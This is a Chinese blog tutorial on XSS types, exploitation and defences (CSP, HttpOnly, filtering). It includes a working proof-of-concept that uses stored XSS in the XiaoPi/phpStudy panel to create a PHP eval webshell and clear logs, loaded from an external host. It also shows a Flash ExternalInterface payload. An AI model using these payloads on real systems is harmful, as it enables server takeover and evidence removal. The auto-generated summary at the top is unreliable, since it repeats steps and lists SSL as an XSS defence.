Web通用漏洞--XSS

web,通用,漏洞,xss · 浏览次数 : 27

小编点评

**XSS 原理** XSS 是一种跨站脚本攻击,通过利用恶意代码的插入,使恶意代码在目标网站被执行。恶意代码可以窃取敏感信息、改变页面内容或执行其他恶意行为。 **XSS 攻击的步骤** 1. **恶意代码注入**:攻击者在目标网站上嵌入恶意代码。这可以通过手动输入、脚本注入或其他攻击方法实现。 2. **恶意代码运行**:当恶意代码被执行时,它会从服务器发送到目标网站。 3. **恶意代码运行**:恶意代码运行在目标网站上,可以窃取敏感信息或执行其他恶意行为。 **XSS 防护措施** * **Content Security Policy (CSP)**:CSP 是一个可信白名单机制,它限制了网站从加载哪些外部资源。 * **JavaScript 限制**:JS 限制是用于防止恶意代码注入的机制。 * **验证用户输入**:在用户输入数据之前,应验证其格式和内容。 * **服务器端验证**:服务器端应验证恶意代码的来源和内容。 * **使用 SSL/TLS**:使用 SSL/TLS 协议可以加密通信,防止攻击者对通信内容进行监听。

正文

Web通用漏洞--XSS

XSS原理

XSS称为跨站脚本攻击,这种漏洞利用通常是被动性攻击,即需要受害者做出某些行为来配合攻击行为,才能达到攻击效果
XSS的原理是恶意攻击者往 Web 页面里插入恶意可执行网页脚本代码,当用户浏览该页之时,嵌入其中 Web 里面的脚本代码会被执行,从而可以达到攻击者盗取用户信息或其他侵犯用户安全隐私的目的。

常见XSS类型

反射型XSS

反射性XSS即将恶意代码插入浏览器中,但浏览器并不会对其进行存储,只对其进行一次性执行。
在这里插入图片描述

存储型XSS

存储型XSS是将恶意攻击代码通过Web页面的某些功能存储到数据库中,当Web页面需要执行某些功能时会再次将恶意代码从数据库中取出从而再次执行
在这里插入图片描述

DOM型XSS

通过修改原始的客户端代码,受害者浏览器的DOM环境改变,导致有效载荷的执行。
页面本身没有变化,但由于DOM环境被恶意修改,有客户端代码被包含进了页面并执行。
在这里插入图片描述

扩展XSS类型

参考文章跨站的艺术-XSS入门与介绍

MXSS

MXSS中文是突变型XSS突变型XSS,指的是原先的Payload提交是无害不会产生XSS,而由于一些特殊原因,如反编码等,导致Payload发生变异,导致的XSS。

UXSS

UXSS全称Universal Cross-Site Scripting,翻译过来就是通用型XSS,也叫Universal XSS。UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。

SVG-XSS

SVG(Scalable Vector Graphics)是一种基于XML的二维矢量图格式,和我们平常用的jpg/png等图片格式所不同的是SVG图像在放大或改变尺寸的情况下其图形质量不会有所损失,并且我们可以使用任何的文本编辑器打开SVG图片并且编辑它,目前主流的浏览器都已经支持SVG图片的渲染。
在SVG文件中加入JS恶意代码配合文件上传进行上传即可进行XSS攻击
下面即一张SVG图片文件
在这里插入图片描述
打开文件进行编辑,插入JS代码
在这里插入图片描述
使用浏览器将其打开,JS代码运行
在这里插入图片描述

pdfXSS

在文件上传的地方一般只对脚本文件格式进行限制,那么我们可以在pdf文件中写入恶意JS代码,然后配合文件上传进行XSS攻击
pdf写入JS代码方法:
修改pdf文件中缩略图的属性,添加文档动作
打开缩略图
在这里插入图片描述
修改属性,添加动作
在这里插入图片描述
运行JS代码
在这里插入图片描述
添加JS代码
在这里插入图片描述
在浏览器中打开效果
在这里插入图片描述

swfXSS

swfXSS是通过flash动画中添加JS代码,进行XSS攻击,也可以通过寻找网页中swf文件,对其进行反编译进行代码审计,从而寻找可以进行利用的函数进行XSS攻击
制作swf文件:
1、新建swf文件
2、F9进入代码区域
3、属性发布设置解析

//取m参数
var m=_root.m;
//调用html中Javascript中的m参数值
flash.external.ExternalInterface.call(m);
触发:?m=alert(/xss/)

测试网页中包含swf文件安全
1、反编译swf文件
2、查找触发危险函数
3、找可控参数访问触发
常见的可触发xss的危险函数有:getURL,navigateToURL,ExternalInterface.call,htmlText,loadMovie等等

XSS攻击利用

cookie盗取

利用条件:平台采取cookie验证登录,且无防护措施
利用方式:利用XSS数据接受平台,在XSS注入点插入payload,当受害人访问注入点存在的页面时,浏览器便会加载JS代码,将cookie信息传送至接受平台
谷歌浏览器模拟攻击者,火狐浏览器模拟受害者

  1. 将XSS利用平台所构造的payload发送至XSS注入点
    在这里插入图片描述
    在这里插入图片描述

  2. 后台管理者查看该恶意评论信息
    在这里插入图片描述

  3. 当后台管理员查看评论信息时,浏览器自动加载注入的payload,将cookie发送至利用平台
    在这里插入图片描述

  4. 使用cookie进入后台

伪造数据提交(小皮面板远程RCE)

利用条件:熟悉数据提交时的数据包构造
利用方式:将构造好的数据包写成JS文件,利用XSS注入点将伪造的JS文件写入,当受害者查看该注入点所注入的数据时,JS文件自动加载。
经测试,小皮面板后台登陆入口存在存储型XSS漏洞,在小皮面板后台处存在定时任务,那么利用网上给出的POC利用定时计划任务创建后门文件。

function poc(){
  $.get('/service/app/tasks.php?type=task_list',{},function(data){
    var id=data.data[0].ID;
    $.post('/service/app/tasks.php?type=exec_task',{
      tid:id
    },function(res2){
        $.post('/service/app/log.php?type=clearlog',{
            
        },function(res3){},"json");
        
      
    },"json");
  },"json");
}
function save(){
  var data=new Object();
  data.task_id="";
  data.title="test";
  data.exec_cycle="1";
  data.week="1";
  data.day="3";
  data.hour="14";
  data.minute = "20";
  data.shell='echo "<?php @eval($_POST[123]);?>" >C:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';
  $.post('/service/app/tasks.php?type=save_shell',data,function(res){
    poc();
  },'json');
}
save();

payload

<script src="http://xx.xxx.xxx/poc.js"></script>

将构造好的JS文件放入服务器,将payload插入小皮面板登陆处,当小皮面板管理员查看日志文件时,JS文件执行,后门文件即可创建
在这里插入图片描述
当管理员查看日志时,浏览器加载poc.js
在这里插入图片描述
文件生成
在这里插入图片描述

网络钓鱼

利用条件:存在XSS漏洞
利用方式:

  1. 结合网页克隆构造可以访问钓鱼界面
  2. 对XSS注入点进行XSS注入
  3. 将钓鱼界面的后门及其正常文件进行打包免杀

浏览器控制框架(beef)

配合XSS向目标网页插入JS代码,即可控制访问者目标浏览器,配合各种手段进行攻击。

XSS的攻击利用手段还有很多方式

XSS攻击防护手段

CSP策略

CSP (Content Security Policy 内容安全策略),内容安全策略是一种可信白名单机制,来限制网站中是否可以包含某来源内容。
该制度明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单,它的实现和执行全部由浏览器完成,开发者只需提供配置。

  • 禁止加载外域代码,防止复杂的攻击逻辑。
  • 禁止外域提交,网站被攻击后,用户的数据不会泄露到外域。
  • 禁止内联脚本执行(规则较严格,目前发现 GitHub 使用)。
  • 禁止未授权的脚本执行(新特性,Google Map 移动版在使用)。
  • 合理使用上报可以及时发现XSS,利于尽快修复问题。
    CSP策略基本就是禁止加载一些外部资源,在实行XSS攻击时,多数情况下需要使用JS代码加载一些目标网站以外的资源,所以说CSP策略一旦开启,配置得完善一些,基本上不能绕过。

CSP策略简单开启方式

header("Content-Security-Policy:img-src 'self' ");

关于CSP策略的开启或介绍等具体可参考
对于XSS跨站脚本攻击的学习
CSP策略及简单绕过

HttpOnly

Httponly:禁止javascript读取,如果cookie中的一个参数带有httponly,则这个参数将不能被javascript获取;httponly可以防止xss会话劫持攻击
HttpOnly 最早是由微软提出,并在 IE 6 中实现的,至今已经逐渐成为一个标准,各大浏览器都支持此标准。具体含义就是,如果某个 Cookie 带有 HttpOnly 属性,那么这一条 Cookie 将被禁止读取,也就是说,JavaScript 读取不到此条 Cookie,不过在与服务端交互的时候,Http Request 包中仍然会带上这个 Cookie 信息,即我们的正常交互不受影响。
判断是否目标地址是否开启了httponly防护策略可以查看浏览器自身cookie信息一栏,httponly选项是否开启
在这里插入图片描述
关于php代码写的网站开启httponly属性可以有三种方式

session.cookie_httponly =1				//php.ini文件开启
ini_set("session.cookie_httponly", 1);		//代码引用php.ini 文件内容
setcookie('', '', time() + 3600, '/xss', '', false, true);		//设置cookie时设置httponly,最后一个字段为true为开始httponly

httponly更多详细细节可以参考
XSS漏洞防御之HttpOnly
Web安全系列(四):XSS 的防御

XSS Filter过滤

即通过代码验证对用户所输入的数据进行检查,如果存在非法数据则进行相应的对策,如过滤,替换,实体化等

关于对过滤器的常见绕过标签可以参考
XSS总结
XSS常见的触发标签

参考文章

跨站的艺术-XSS入门与介绍
对于XSS跨站脚本攻击的学习
CSP策略及简单绕过
XSS漏洞防御之HttpOnly
Web安全系列(四):XSS 的防御
XSS总结
XSS常见的触发标签

以上内容仅作参考学习,如有瑕疵或错误,希望各位师傅们斧正,感谢阅读。

与Web通用漏洞--XSS相似的内容:

Web通用漏洞--XSS

# Web通用漏洞--XSS ## XSS原理 XSS称为跨站脚本攻击,这种漏洞利用通常是被动性攻击,即需要受害者做出某些行为来配合攻击行为,才能达到攻击效果 XSS的原理是恶意攻击者往 Web 页面里插入恶意可执行网页脚本代码,当用户浏览该页之时,嵌入其中 Web 里面的脚本代码会被执行,从而可以

详解Web应用安全系列(1)注入漏洞之SQL注入

注入漏洞通常是指在可输入参数的地方,通过构造恶意代码,进而威胁应用安全和数据库安全。常见的注入漏洞包括:SQL注入和XSS跨站脚本攻击。 这篇文章我们主要讲SQL注入,SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加

Web通用漏洞--文件包含

# Web通用漏洞--文件包含 ## 文件包含原理 在项目开发过程中,开发人员通常会将重复使用的函数写入单个文件中,在使用该类函数时,直接调用文件即可,无需重新编写,这种调用文件的过程成为文件包含。在文件包含过程中,如果用户可以控制所包含的文件,则为文件包含漏洞。 ## 文件包含函数 PHP:inc

Web通用漏洞--CSRF

# Web通用漏洞--CSRF ## 漏洞简介 CSRF(Cross Site Request Forgery, 跨站请求伪造/客户端请求伪造),即通过伪造访问数据包并制作成网页的形式,使受害者访问伪造网页,同时触发伪造的请求而达到攻击效果的一种手段。 ![在这里插入图片描述](https://im

Web通用漏洞--SSRF

# Web通用漏洞--SSRF ## 漏洞简介 SSRF(Server-Side Request Forgery:服务器端请求伪造) 一种由攻击者构造形成由服务端发起请求的一个安全漏洞; 一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的,所以它能够请求到与它相连而

Web通用漏洞--RCE

# Web通用漏洞--RCE ## 漏洞简介 RCE远程代码/命令执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。 RCE漏洞也分为代码执行漏洞和命令执行漏洞,所谓代码执行即通过漏洞点注入参数而使用源代码进行相应的操作,所谓的命令执行就是通过漏洞点注入参数使用源

Web通用漏洞--文件上传

# Web通用漏洞--文件上传 ## 概述 文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数,中间件,

Web通用漏洞--sql注入

# SQL注入 mysql注入目的:获取当前web权限 ## mysql注入--常规查询&union联合查询 1. MYSQL--Web组成架构 服务器搭建web服务可能存在多个站点搭建在一台服务器中,数据集中存储在数据库中,因此对数据库的管理也可以分为两种架构: 统一用户管理数据库,即对所有站点数

Web攻防--JNDI注入--Log4j漏洞--Fastjson反序列化漏洞

JNDI注入 什么是JNDI JNDI全称为 Java Naming and Directory Interface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。 JNDI支持的服务主要有:DNS

Web攻防--xxe实体注入

# web攻防--xxe实体注入 ## 漏洞简介 XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。 在某些情况下,攻击者可以利用 X